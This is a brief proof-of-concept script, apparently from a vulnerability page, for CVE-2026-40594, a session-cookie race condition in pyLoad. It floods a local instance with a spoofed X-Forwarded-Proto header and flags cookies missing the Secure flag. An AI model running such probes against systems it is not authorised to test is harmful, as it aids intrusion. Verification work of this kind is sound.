CVE-2026-40594 pyLoad会话Cookie安全竞态漏洞

import requests # Target URL of the vulnerable pyLoad instance target_url = "http://localhost:8000/" # Headers to inject the malicious X-Forwarded-Proto headers = { "X-Forwarded-Proto": "http" } # Send multiple requests to trigger the race condition print("Sending requests to trigger race condition...") for i in range(100): try: response = requests.get(target_url, headers=headers) # Analyze Set-Cookie header to see if Secure flag is missing cookies = response.headers.get('Set-Cookie') if cookies and 'Secure' not in cookies: print(f"Request {i}: Potential Security Downgrade detected - {cookies}") except Exception as e: print(f"Request {i} failed: {e}")